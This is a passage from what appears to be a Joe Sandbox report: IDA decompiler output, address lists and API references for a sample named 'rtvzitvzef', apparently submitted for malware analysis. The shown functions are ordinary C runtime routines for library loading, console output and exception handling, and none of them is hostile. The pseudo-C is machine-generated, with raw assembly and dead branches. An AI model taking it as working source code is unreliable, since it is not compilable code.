          										_t92 = E00410B40(_t125, _t131, _t114, _v16);
          										_push(_v16);
          										L30:
          										_push(_t114);
          										_push(_a20);
          										_push(_a16);
          										_t93 = E00410B40();
          										asm("sbb edx, edi");
          										asm("adc edx, [ebp+0x10]");
          										return _t93 - _t92 + _a8;
          									}
          									_t96 = _v24;
          									__eflags = _t96 - 1;
          									if(_t96 == 1) {
          										L26:
          										_push(2);
          										_pop(1);
          										L27:
          										_t126 = _v8;
          										L13:
          										_t125 = _t126 + 1;
          										asm("adc edx, edi");
          										goto L29;
          									}
          									__eflags = _t96 - 2;
          									if(_t96 != 2) {
          										goto L27;
          									}
          									goto L26;
          								}
          								_v8 = 0x200;
          								if(__eflags < 0) {
          									L19:
          									_t100 =  *(_a4 + 0xc) >> 6;
          									__eflags = 1 & _t100;
          									if((1 & _t100) == 0) {
          										goto L22;
          									}
          									_t103 =  *(_a4 + 0xc) >> 8;
          									__eflags = 1 & _t103;
          									if((1 & _t103) != 0) {
          										goto L22;
          									}
          									_t131 = 0;
          									goto L23;
          								}
          								__eflags = _v20 - 0x200;
          								if(_v20 > 0x200) {
          									goto L22;
          								}
          								goto L19;
          							}
          							return _t131;
          						}
          						__eflags = _t131 - _a12;
          						if(_t131 != _a12) {
          							goto L14;
          						}
          						_t139 = _a4;
          						_t125 = E0040466D( *((intOrPtr*)(_t139 + 4)), _v20 +  *((intOrPtr*)(_t139 + 4)), _v24) + _v20;
          						asm("adc edx, [ebp-0x4]");
          						_t109 =  *(_t139 + 0xc) >> 5;
          						__eflags = 1 & _t109;
          						if((1 & _t109) == 0) {
          							goto L29;
          						}
          						_t110 = _v24;
          						__eflags = _t110 - 1;
          						if(_t110 == 1) {
          							L12:
          							_push(2);
          							_pop(1);
          							goto L13;
          						}
          						__eflags = _t110 - 2;
          						if(_t110 != 2) {
          							goto L13;
          						}
          						goto L12;
          					}
          					_t115 = _v16;
          					_t92 = E00410B40(_t122, _t85, _t136, _t115);
          					_push(_t115);
          					_t114 = _t136;
          					goto L30;
          				} else {
          					return _a8;
          				}
          			}







































          0x00404302
          0x00404305
          0x0040430c
          0x00404312
          0x00404315
          0x0040431c
          0x0040431f
          0x00404328
          0x0040432b
          0x0040432e
          0x00404331
          0x00404335
          0x0040433a
          0x00404344
          0x0040433c
          0x0040433e
          0x0040433f
          0x0040433f
          0x00404347
          0x0040434a
          0x0040434d
          0x00404352
          0x00404364
          0x00404369
          0x0040436c
          0x00404372
          0x00404373
          0x00404375
          0x00404378
          0x0040437b
          0x0040437d
          0x00404383
          0x00404388
          0x0040438b
          0x004043a4
          0x004043ac
          0x004043b4
          0x004043b7
          0x00404404
          0x00404414
          0x00404419
          0x0040441c
          0x0040441e
          0x00404427
          0x0040442a
          0x0040445b
          0x00404461
          0x00404462
          0x00404465
          0x00404468
          0x0040446b
          0x00404472
          0x00404477
          0x0040448f
          0x00404492
          0x00404495
          0x0040449b
          0x004044a0
          0x004044a3
          0x004044a3
          0x004044a4
          0x004044ab
          0x004044ae
          0x004044b5
          0x004044ba
          0x00000000
          0x004044ba
          0x00404479
          0x0040447c
          0x0040447e
          0x00404484
          0x00404484
          0x00404486
          0x00404487
          0x00404487
          0x004043fb
          0x004043fb
          0x004043fd
          0x00000000
          0x004043fd
          0x00404480
          0x00404482
          0x00000000
          0x00000000
          0x00000000
          0x00404482
          0x00404431
          0x00404434
          0x0040443b
          0x00404442
          0x00404445
          0x00404447
          0x00000000
          0x00000000
          0x00404450
          0x00404453
          0x00404455
          0x00000000
          0x00000000
          0x00404457
          0x00000000
          0x00404457
          0x00404436
          0x00404439
          0x00000000
          0x00000000
          0x00000000
          0x00404439
          0x00000000
          0x00404420
          0x004043b9
          0x004043bc
          0x00000000
          0x00000000
          0x004043be
          0x004043d8
          0x004043de
          0x004043e2
          0x004043e5
          0x004043e7
          0x00000000
          0x00000000
          0x004043ed
          0x004043f0
          0x004043f2
          0x004043f8
          0x004043f8
          0x004043fa
          0x00000000
          0x004043fa
          0x004043f4
          0x004043f6
          0x00000000
          0x00000000
          0x00000000
          0x004043f6
          0x0040438d
          0x00404394
          0x00404399
          0x0040439a
          0x00000000
          0x00404354
          0x00000000
          0x00404357

          APIs
          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00404394
          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040449B
          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004044AE
          Strings
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
          • String ID: KG@
          • API String ID: 885266447-1248469857
          • Opcode ID: 2bd672f4b93b8e84d5363833de7c8a2a3724070b457573ba0a9a5d6950f16b0b
          • Instruction ID: 0f44e613f5f007d60bd1686208b68d596087c3bd5a455358ea95eefcffa573ce
          • Opcode Fuzzy Hash: 2bd672f4b93b8e84d5363833de7c8a2a3724070b457573ba0a9a5d6950f16b0b
          • Instruction Fuzzy Hash: 805197B1A00149AFCF14DF99C881AEEBBB6EF89314F14806AE955B7381D338ED41DB54
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E00402633(WCHAR* _a4) {
          				struct HINSTANCE__* _t4;
          
          				_t4 = LoadLibraryExW(_a4, 0, 0x800);
          				if(_t4 != 0) {
          					return _t4;
          				} else {
          					if(GetLastError() != 0x57 || E00406308(_a4, L"api-ms-", 7) == 0) {
          						return 0;
          					}
          					return LoadLibraryExW(_a4, 0, 0);
          				}
          			}




          0x00402640
          0x00402648
          0x0040267d
          0x0040264a
          0x00402653
          0x00000000
          0x0040267a
          0x00402679
          0x00402679

          APIs
          • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,004025E4,00000000,?,00418CC0,?,?,?,00402787,00000004,InitializeCriticalSectionEx,00411CF8,InitializeCriticalSectionEx), ref: 00402640
          • GetLastError.KERNEL32(?,004025E4,00000000,?,00418CC0,?,?,?,00402787,00000004,InitializeCriticalSectionEx,00411CF8,InitializeCriticalSectionEx,00000000,?,00402507), ref: 0040264A
          • LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00402672
          Strings
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: LibraryLoad$ErrorLast
          • String ID: api-ms-
          • API String ID: 3177248105-2084034818
          • Opcode ID: f7040ae3c65c49fa5e55d5c978c18b5f47367d20220597fe9030104652494283
          • Instruction ID: 6d40ff05ccc61d2f07128997f222ac600fb2d99e07b7ce153fe81ee98381cd84
          • Opcode Fuzzy Hash: f7040ae3c65c49fa5e55d5c978c18b5f47367d20220597fe9030104652494283
          • Instruction Fuzzy Hash: C5E01270680204B6EF201F61ED0AF993F55AB14B51F204431FB4DB41F1D7B6E850998C
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 77%
          			E0040C800(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16, intOrPtr _a20) {
          				char _v16;
          				signed int _v20;
          				char _v28;
          				signed int _v35;
          				signed char _v36;
          				void _v44;
          				signed char* _v48;
          				char _v49;
          				long _v56;
          				long _v60;
          				intOrPtr _v64;
          				struct _OVERLAPPED* _v68;
          				signed int _v72;
          				signed char* _v76;
          				signed int _v80;
          				signed int _v84;
          				intOrPtr _v88;
          				void _v92;
          				long _v96;
          				signed char* _v100;
          				void* _v104;
          				char _v108;
          				int _v112;
          				intOrPtr _v116;
          				struct _OVERLAPPED* _v120;
          				struct _OVERLAPPED* _v124;
          				struct _OVERLAPPED* _v128;
          				struct _OVERLAPPED* _v132;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				signed int _t174;
          				signed int _t175;
          				signed int _t177;
          				signed char* _t186;
          				signed int _t190;
          				void* _t196;
          				long _t197;
          				long _t201;
          				signed char* _t207;
          				void _t209;
          				signed char* _t214;
          				void* _t221;
          				signed int _t224;
          				char* _t228;
          				void* _t237;
          				long _t243;
          				signed int _t244;
          				signed char* _t245;
          				void* _t255;
          				intOrPtr _t261;
          				void* _t262;
          				struct _OVERLAPPED* _t263;
          				intOrPtr* _t264;
          				signed int _t265;
          				intOrPtr _t266;
          				struct _OVERLAPPED* _t274;
          				signed int _t276;
          				signed char _t281;
          				signed int _t285;
          				signed char* _t286;
          				struct _OVERLAPPED* _t289;
          				void* _t292;
          				signed int _t293;
          				void* _t295;
          				struct _OVERLAPPED* _t296;
          				signed char* _t298;
          				intOrPtr* _t299;
          				void* _t300;
          				signed int _t301;
          				long _t302;
          				signed int _t304;
          				signed int _t305;
          				void* _t306;
          				void* _t307;
          				void* _t308;
          
          				_push(0xffffffff);
          				_push(0x410e99);
          				_push( *[fs:0x0]);
          				_t307 = _t306 - 0x74;
          				_t174 =  *0x418014; // 0xa3964780
          				_t175 = _t174 ^ _t305;
          				_v20 = _t175;
          				_push(_t175);
          				 *[fs:0x0] =  &_v16;
          				_t177 = _a8;
          				_t298 = _a12;
          				_t261 = _a20;
          				_t265 = (_t177 & 0x0000003f) * 0x38;
          				_t285 = _t177 >> 6;
          				_v100 = _t298;
          				_v64 = _t261;
          				_v72 = _t285;
          				_v84 = _t265;
          				_v104 =  *((intOrPtr*)(_t265 +  *((intOrPtr*)(0x418ec0 + _t285 * 4)) + 0x18));
          				_v88 = _a16 + _t298;
          				_v112 = GetConsoleOutputCP();
          				if( *((char*)(_t261 + 0x14)) == 0) {
          					E00404830(_t261, _t285);
          				}
          				_t299 = _a4;
          				_t266 =  *((intOrPtr*)( *((intOrPtr*)(_t261 + 0xc)) + 8));
          				asm("stosd");
          				_v116 = _t266;
          				asm("stosd");
          				asm("stosd");
          				_t186 = _v100;
          				_t286 = _t186;
          				_v48 = _t286;
          				if(_t186 < _v88) {
          					_t293 = _v84;
          					_t263 = 0;
          					_v76 = 0;
          					while(1) {
          						_v49 =  *_t286;
          						_t190 = _v72;
          						_v68 = _t263;
          						_v56 = 1;
          						if(_t266 != 0xfde9) {
          							goto L22;
          						}
          						_t274 = _t263;
          						_t228 =  *(0x418ec0 + _t190 * 4) + 0x2e + _t293;
          						_v76 = _t228;
          						while( *_t228 != 0) {
          							_t274 =  &(_t274->Internal);
          							_t228 = _t228 + 1;
          							if(_t274 < 5) {
          								continue;
          							}
          							break;
          						}
          						_t295 = _v88 - _t286;
          						_v56 = _t274;
          						if(_t274 <= 0) {
          							_t276 =  *((char*)(( *_t286 & 0x000000ff) + 0x4181c8)) + 1;
          							_v80 = _t276;
          							if(_t276 > _t295) {
          								if(_t295 <= 0) {
          									goto L44;
          								} else {
          									_t301 = _v84;
          									do {
          										 *((char*)( *((intOrPtr*)(0x418ec0 + _v72 * 4)) + _t301 + _t263 + 0x2e)) =  *((intOrPtr*)(_t263 + _t286));
          										_t263 =  &(_t263->Internal);
          									} while (_t263 < _t295);
          									goto L43;
          								}
          								L52:
          							} else {
          								_v132 = _t263;
          								_v128 = _t263;
          								_v60 = _t286;
          								_v56 = (_t276 == 4) + 1;
          								_t237 = E0040E089( &_v132,  &_v68,  &_v60, (_t276 == 4) + 1,  &_v132, _v64);
          								_t308 = _t307 + 0x14;
          								if(_t237 != 0xffffffff) {
          									_t293 = _v84;
          									goto L21;
          								}
          							}
          						} else {
          							_t243 =  *((char*)(( *_v76 & 0x000000ff) + 0x4181c8)) + 1;
          							_v60 = _t243;
          							_t244 = _t243 - _t274;
          							_v80 = _t244;
          							if(_t244 > _t295) {
          								if(_t295 > 0) {
          									_t245 = _v48;
          									_t302 = _v56;
          									do {
          										_t281 =  *((intOrPtr*)(_t263 + _t245));
          										_t286 =  *((intOrPtr*)(0x418ec0 + _v72 * 4)) + _v84 + _t263;
          										_t263 =  &(_t263->Internal);
          										_t286[_t302 + 0x2e] = _t281;
          									} while (_t263 < _t295);
          									L43:
          									_t299 = _a4;
          								}
          								L44:
          								 *(_t299 + 4) =  &(( *(_t299 + 4))[_t295]);
          							} else {
          								_t296 = _t263;
          								_t264 = _v76;
          								do {
          									 *((char*)(_t305 + _t296 - 0x18)) =  *_t264;
          									_t296 =  &(_t296->Internal);
          									_t264 = _t264 + 1;
          								} while (_t296 < _t274);
          								_t303 = _v80;
          								_t263 = 0;
          								if(_v80 > 0) {
          									E00402B70( &_v28 + _t274, _t286, _t303);
          									_t274 = _v56;
          									_t307 = _t307 + 0xc;
          								}
          								_t293 = _v84;
          								_t289 = _t263;
          								_t304 = _v72;
          								do {
          									 *( *((intOrPtr*)(0x418ec0 + _t304 * 4)) + _t293 + _t289 + 0x2e) = _t263;
          									_t289 =  &(_t289->Internal);
          								} while (_t289 < _t274);
          								_t299 = _a4;
          								_v108 =  &_v28;
          								_v124 = _t263;
          								_v120 = _t263;
          								_v56 = (_v60 == 4) + 1;
          								_t255 = E0040E089( &_v124,  &_v68,  &_v108, (_v60 == 4) + 1,  &_v124, _v64);
          								_t308 = _t307 + 0x14;
          								if(_t255 != 0xffffffff) {
          									L21:
          									_t197 =  &(_v48[_v80]) - 1;
          									L31:
          									_v48 = _t197 + 1;
          									_t201 = E00409A30(_v112, _t263,  &_v68, _v56,  &_v44, 5, _t263, _t263);
          									_t307 = _t308 + 0x20;
          									_v60 = _t201;
          									if(_t201 != 0) {
          										if(WriteFile(_v104,  &_v44, _t201,  &_v96, _t263) == 0) {
          											L50:
          											 *_t299 = GetLastError();
          										} else {
          											_t286 = _v48;
          											_t207 =  *((intOrPtr*)(_t299 + 8)) - _v100 + _t286;
          											_v76 = _t207;
          											 *(_t299 + 4) = _t207;
          											if(_v96 >= _v60) {
          												if(_v49 != 0xa) {
          													L38:
          													if(_t286 < _v88) {
          														_t266 = _v116;
          														continue;
          													}
          												} else {
          													_t209 = 0xd;
          													_v92 = _t209;
          													if(WriteFile(_v104,  &_v92, 1,  &_v96, _t263) == 0) {
          														goto L50;
          													} else {
          														if(_v96 >= 1) {
          															 *((intOrPtr*)(_t299 + 8)) =  *((intOrPtr*)(_t299 + 8)) + 1;
          															 *(_t299 + 4) =  &(( *(_t299 + 4))[1]);
          															_t286 = _v48;
          															_v76 =  *(_t299 + 4);
          															goto L38;
          														}
          													}
          												}
          											}
          										}
          									}
          								}
          							}
          						}
          						goto L51;
          						L22:
          						_t271 =  *(0x418ec0 + _t190 * 4);
          						_v80 = _t271;
          						if(( *(_t271 + _t293 + 0x2d) & 0x00000004) == 0) {
          							_t271 =  *_t286 & 0x000000ff;
          							if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v64 + 0xc)))) + ( *_t286 & 0x000000ff) * 2)) >= _t263) {
          								_push(_v64);
          								_push(1);
          								_push(_t286);
          								goto L29;
          							} else {
          								_t214 =  &(_t286[1]);
          								_v60 = _t214;
          								if(_t214 >= _v88) {
          									 *((char*)(_v80 + _t293 + 0x2e)) =  *_t286;
          									 *( *((intOrPtr*)(0x418ec0 + _v72 * 4)) + _t293 + 0x2d) =  *( *((intOrPtr*)(0x418ec0 + _v72 * 4)) + _t293 + 0x2d) | 0x00000004;
          									 *(_t299 + 4) =  &(_v76[1]);
          								} else {
          									_t221 = E0040B944(_t271, _t286,  &_v68, _t286, 2, _v64);
          									_t308 = _t307 + 0x10;
          									if(_t221 != 0xffffffff) {
          										_t197 = _v60;
          										goto L31;
          									}
          								}
          							}
          						} else {
          							_push(_v64);
          							_v36 =  *(_t271 + _t293 + 0x2e) & 0x000000fb;
          							_t224 =  *_t286;
          							_v35 = _t224;
          							 *(_t271 + _t293 + 0x2d) = _t224;
          							_push(2);
          							_push( &_v36);
          							L29:
          							_push( &_v68);
          							_t196 = E0040B944(_t271, _t286);
          							_t308 = _t307 + 0x10;
          							if(_t196 != 0xffffffff) {
          								_t197 = _v48;
          								goto L31;
          							}
          						}
          						goto L51;
          					}
          				}
          				L51:
          				 *[fs:0x0] = _v16;
          				_pop(_t292);
          				_pop(_t300);
          				_pop(_t262);
          				return E00401BE5(_t299, _t262, _v20 ^ _t305, _t286, _t292, _t300);
          				goto L52;
          			}















































































          0x0040c805
          0x0040c807
          0x0040c812
          0x0040c813
          0x0040c816
          0x0040c81b
          0x0040c81d
          0x0040c823
          0x0040c827
          0x0040c82d
          0x0040c832
          0x0040c838
          0x0040c83b
          0x0040c83e
          0x0040c841
          0x0040c844
          0x0040c847
          0x0040c851
          0x0040c858
          0x0040c860
          0x0040c86d
          0x0040c870
          0x0040c874
          0x0040c874
          0x0040c87c
          0x0040c881
          0x0040c886
          0x0040c887
          0x0040c88a
          0x0040c88b
          0x0040c88c
          0x0040c88f
          0x0040c891
          0x0040c897
          0x0040c89d
          0x0040c8a0
          0x0040c8a2
          0x0040c8a5
          0x0040c8a7
          0x0040c8aa
          0x0040c8ad
          0x0040c8b0
          0x0040c8bd
          0x00000000
          0x00000000
          0x0040c8ca
          0x0040c8cf
          0x0040c8d1
          0x0040c8d4
          0x0040c8d9
          0x0040c8da
          0x0040c8de
          0x00000000
          0x00000000
          0x00000000
          0x0040c8de
          0x0040c8e3
          0x0040c8e5
          0x0040c8ea
          0x0040c99e
          0x0040c99f
          0x0040c9a4
          0x0040cb5e
          0x00000000
          0x0040cb60
          0x0040cb60
          0x0040cb63
          0x0040cb72
          0x0040cb76
          0x0040cb77
          0x00000000
          0x0040cb7b
          0x00000000
          0x0040c9aa
          0x0040c9af
          0x0040c9b5
          0x0040c9bb
          0x0040c9c4
          0x0040c9cf
          0x0040c9d4
          0x0040c9da
          0x0040c9e0
          0x00000000
          0x0040c9e0
          0x0040c9da
          0x0040c8f0
          0x0040c8fd
          0x0040c8fe
          0x0040c901
          0x0040c903
          0x0040c908
          0x0040cb31
          0x0040cb33
          0x0040cb36
          0x0040cb39
          0x0040cb46
          0x0040cb49
          0x0040cb4b
          0x0040cb4c
          0x0040cb50
          0x0040cb54
          0x0040cb54
          0x0040cb54
          0x0040cb57
          0x0040cb57
          0x0040c90e
          0x0040c90e
          0x0040c910
          0x0040c913
          0x0040c915
          0x0040c919
          0x0040c91a
          0x0040c91b
          0x0040c91f
          0x0040c922
          0x0040c926
          0x0040c930
          0x0040c935
          0x0040c938
          0x0040c938
          0x0040c93b
          0x0040c93e
          0x0040c940
          0x0040c943
          0x0040c94c
          0x0040c950
          0x0040c951
          0x0040c958
          0x0040c95e
          0x0040c966
          0x0040c971
          0x0040c976
          0x0040c981
          0x0040c986
          0x0040c98c
          0x0040c9e3
          0x0040c9e9
          0x0040ca7e
          0x0040ca83
          0x0040ca95
          0x0040ca9a
          0x0040ca9d
          0x0040caa2
          0x0040cabd
          0x0040cb9e
          0x0040cba4
          0x0040cac3
          0x0040cac9
          0x0040cacc
          0x0040cace
          0x0040cad1
          0x0040cada
          0x0040cae4
          0x0040cb22
          0x0040cb25
          0x0040cb27
          0x00000000
          0x0040cb27
          0x0040cae6
          0x0040cae8
          0x0040caea
          0x0040cb03
          0x00000000
          0x0040cb09
          0x0040cb0d
          0x0040cb13
          0x0040cb16
          0x0040cb1c
          0x0040cb1f
          0x00000000
          0x0040cb1f
          0x0040cb0d
          0x0040cb03
          0x0040cae4
          0x0040cada
          0x0040cabd
          0x0040caa2
          0x0040c98c
          0x0040c908
          0x00000000
          0x0040c9ef
          0x0040c9ef
          0x0040c9f6
          0x0040ca00
          0x0040ca23
          0x0040ca2f
          0x0040ca60
          0x0040ca63
          0x0040ca65
          0x00000000
          0x0040ca31
          0x0040ca31
          0x0040ca34
          0x0040ca3a
          0x0040cb82
          0x0040cb90
          0x0040cb99
          0x0040ca40
          0x0040ca4a
          0x0040ca4f
          0x0040ca55
          0x0040ca5b
          0x00000000
          0x0040ca5b
          0x0040ca55
          0x0040ca3a
          0x0040ca02
          0x0040ca09
          0x0040ca0c
          0x0040ca0f
          0x0040ca11
          0x0040ca14
          0x0040ca1b
          0x0040ca1d
          0x0040ca66
          0x0040ca69
          0x0040ca6a
          0x0040ca6f
          0x0040ca75
          0x0040ca7b
          0x00000000
          0x0040ca7b
          0x0040ca75
          0x00000000
          0x0040ca00
          0x0040c8a5
          0x0040cba6
          0x0040cbab
          0x0040cbb3
          0x0040cbb4
          0x0040cbb5
          0x0040cbc1
          0x00000000

          APIs
          • GetConsoleOutputCP.KERNEL32(A3964780,00000000,00000000,?), ref: 0040C863
            • Part of subcall function 00409A30: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0040DBAF,?,00000000,-00000008), ref: 00409A91
          • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040CAB5
          • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0040CAFB
          • GetLastError.KERNEL32 ref: 0040CB9E
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
          • String ID:
          • API String ID: 2112829910-0
          • Opcode ID: 38a055b8fd170a2096d220b3596d05f387b3e6599db676eaaa1279edd9b21f10
          • Instruction ID: afab75ee4df23f5baa2d1639ff9ca2ddc2c0c3524feb2627a88473823ce8a792
          • Opcode Fuzzy Hash: 38a055b8fd170a2096d220b3596d05f387b3e6599db676eaaa1279edd9b21f10
          • Instruction Fuzzy Hash: CED168B5D00248DFCB15CFA8D8C1AEDBBB5EF09314F28822AE455FB391D634A941CB58
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 66%
          			E004030E4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
          				signed int* _t52;
          				signed int _t53;
          				intOrPtr _t54;
          				signed int _t58;
          				signed int _t61;
          				intOrPtr _t71;
          				signed int _t75;
          				signed int _t79;
          				signed int _t81;
          				signed int _t84;
          				signed int _t85;
          				signed int _t97;
          				signed int* _t98;
          				signed char* _t101;
          				signed int _t107;
          				void* _t111;
          
          				_push(0x10);
          				_push(0x4165c8);
          				E004019C0(__ebx, __edi, __esi);
          				_t75 = 0;
          				_t52 =  *(_t111 + 0x10);
          				_t81 = _t52[1];
          				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
          					L30:
          					_t53 = 0;
          					__eflags = 0;
          					goto L31;
          				} else {
          					_t97 = _t52[2];
          					if(_t97 != 0 ||  *_t52 < 0) {
          						_t84 =  *_t52;
          						_t107 =  *(_t111 + 0xc);
          						if(_t84 >= 0) {
          							_t107 = _t107 + 0xc + _t97;
          						}
          						 *(_t111 - 4) = _t75;
          						_t101 =  *(_t111 + 0x14);
          						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
          							L10:
          							_t54 =  *((intOrPtr*)(_t111 + 8));
          							__eflags = _t84 & 0x00000008;
          							if((_t84 & 0x00000008) == 0) {
          								__eflags =  *_t101 & 0x00000001;
          								if(( *_t101 & 0x00000001) == 0) {
          									_t84 =  *(_t54 + 0x18);
          									__eflags = _t101[0x18] - _t75;
          									if(_t101[0x18] != _t75) {
          										__eflags = _t84;
          										if(_t84 == 0) {
          											goto L32;
          										} else {
          											__eflags = _t107;
          											if(_t107 == 0) {
          												goto L32;
          											} else {
          												__eflags =  *_t101 & 0x00000004;
          												_t79 = 0;
          												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
          												__eflags = _t75;
          												 *(_t111 - 0x20) = _t75;
          												goto L29;
          											}
          										}
          									} else {
          										__eflags = _t84;
          										if(_t84 == 0) {
          											goto L32;
          										} else {
          											__eflags = _t107;
          											if(_t107 == 0) {
          												goto L32;
          											} else {
          												E00402B70(_t107, E0040205C(_t84,  &(_t101[8])), _t101[0x14]);
          												goto L29;
          											}
          										}
          									}
          								} else {
          									__eflags =  *(_t54 + 0x18);
          									if( *(_t54 + 0x18) == 0) {
          										goto L32;
          									} else {
          										__eflags = _t107;
          										if(_t107 == 0) {
          											goto L32;
          										} else {
          											E00402B70(_t107,  *(_t54 + 0x18), _t101[0x14]);
          											__eflags = _t101[0x14] - 4;
          											if(_t101[0x14] == 4) {
          												__eflags =  *_t107;
          												if( *_t107 != 0) {
          													_push( &(_t101[8]));
          													_push( *_t107);
          													goto L21;
          												}
          											}
          											goto L29;
          										}
          									}
          								}
          							} else {
          								_t84 =  *(_t54 + 0x18);
          								goto L12;
          							}
          						} else {
          							_t71 =  *0x418c94; // 0x0
          							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
          							if(_t71 == 0) {
          								goto L10;
          							} else {
          								 *0x4111f0();
          								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
          								L12:
          								if(_t84 == 0 || _t107 == 0) {
          									L32:
          									E0040623E(_t75, _t84, _t97, _t107);
          									asm("int3");
          									_push(8);
          									_push(0x4165e8);
          									E004019C0(_t75, _t101, _t107);
          									_t98 =  *(_t111 + 0x10);
          									_t85 =  *(_t111 + 0xc);
          									__eflags =  *_t98;
          									if(__eflags >= 0) {
          										_t103 = _t85 + 0xc + _t98[2];
          										__eflags = _t85 + 0xc + _t98[2];
          									} else {
          										_t103 = _t85;
          									}
          									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
          									_t108 =  *(_t111 + 0x14);
          									_push( *(_t111 + 0x14));
          									_push(_t98);
          									_push(_t85);
          									_t77 =  *((intOrPtr*)(_t111 + 8));
          									_push( *((intOrPtr*)(_t111 + 8)));
          									_t58 = E004030E4(_t77, _t103, _t108, __eflags) - 1;
          									__eflags = _t58;
          									if(_t58 == 0) {
          										_t61 = E00403E54(_t103, _t108[0x18], E0040205C( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
          									} else {
          										_t61 = _t58 - 1;
          										__eflags = _t61;
          										if(_t61 == 0) {
          											_t61 = E00403E64(_t103, _t108[0x18], E0040205C( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
          										}
          									}
          									 *(_t111 - 4) = 0xfffffffe;
          									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
          									return _t61;
          								} else {
          									 *_t107 = _t84;
          									_push( &(_t101[8]));
          									_push(_t84);
          									L21:
          									 *_t107 = E0040205C();
          									L29:
          									 *(_t111 - 4) = 0xfffffffe;
          									_t53 = _t75;
          									L31:
          									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
          									return _t53;
          								}
          							}
          						}
          					} else {
          						goto L30;
          					}
          				}
          			}



















          0x004030e4
          0x004030e6
          0x004030eb
          0x004030f0
          0x004030f2
          0x004030f5
          0x004030fa
          0x0040320a
          0x0040320a
          0x0040320a
          0x00000000
          0x00403109
          0x00403109
          0x0040310e
          0x00403118
          0x0040311a
          0x0040311f
          0x00403124
          0x00403124
          0x00403126
          0x00403129
          0x0040312e
          0x00403150
          0x00403150
          0x00403153
          0x00403156
          0x00403174
          0x00403177
          0x004031b6
          0x004031b9
          0x004031bc
          0x004031e1
          0x004031e3
          0x00000000
          0x004031e5
          0x004031e5
          0x004031e7
          0x00000000
          0x004031e9
          0x004031e9
          0x004031ee
          0x004031f2
          0x004031f2
          0x004031f3
          0x00000000
          0x004031f3
          0x004031e7
          0x004031be
          0x004031be
          0x004031c0
          0x00000000
          0x004031c2
          0x004031c2
          0x004031c4
          0x00000000
          0x004031c6
          0x004031d7
          0x00000000
          0x004031dc
          0x004031c4
          0x004031c0
          0x00403179
          0x00403179
          0x0040317d
          0x00000000
          0x00403183
          0x00403183
          0x00403185
          0x00000000
          0x0040318b
          0x00403192
          0x0040319a
          0x0040319e
          0x004031a0
          0x004031a3
          0x004031a8
          0x004031a9
          0x00000000
          0x004031a9
          0x004031a3
          0x00000000
          0x0040319e
          0x00403185
          0x0040317d
          0x00403158
          0x00403158
          0x00000000
          0x00403158
          0x00403135
          0x00403135
          0x0040313a
          0x0040313f
          0x00000000
          0x00403141
          0x00403143
          0x0040314c
          0x0040315b
          0x0040315d
          0x0040321c
          0x0040321c
          0x00403221
          0x00403222
          0x00403224
          0x00403229
          0x0040322e
          0x00403231
          0x00403234
          0x00403237
          0x00403240
          0x00403240
          0x00403239
          0x00403239
          0x00403239
          0x00403243
          0x00403247
          0x0040324a
          0x0040324b
          0x0040324c
          0x0040324d
          0x00403250
          0x00403259
          0x00403259
          0x0040325c
          0x00403292
          0x0040325e
          0x0040325e
          0x0040325e
          0x00403261
          0x00403278
          0x00403278
          0x00403261
          0x00403297
          0x004032a1
          0x004032ad
          0x0040316b
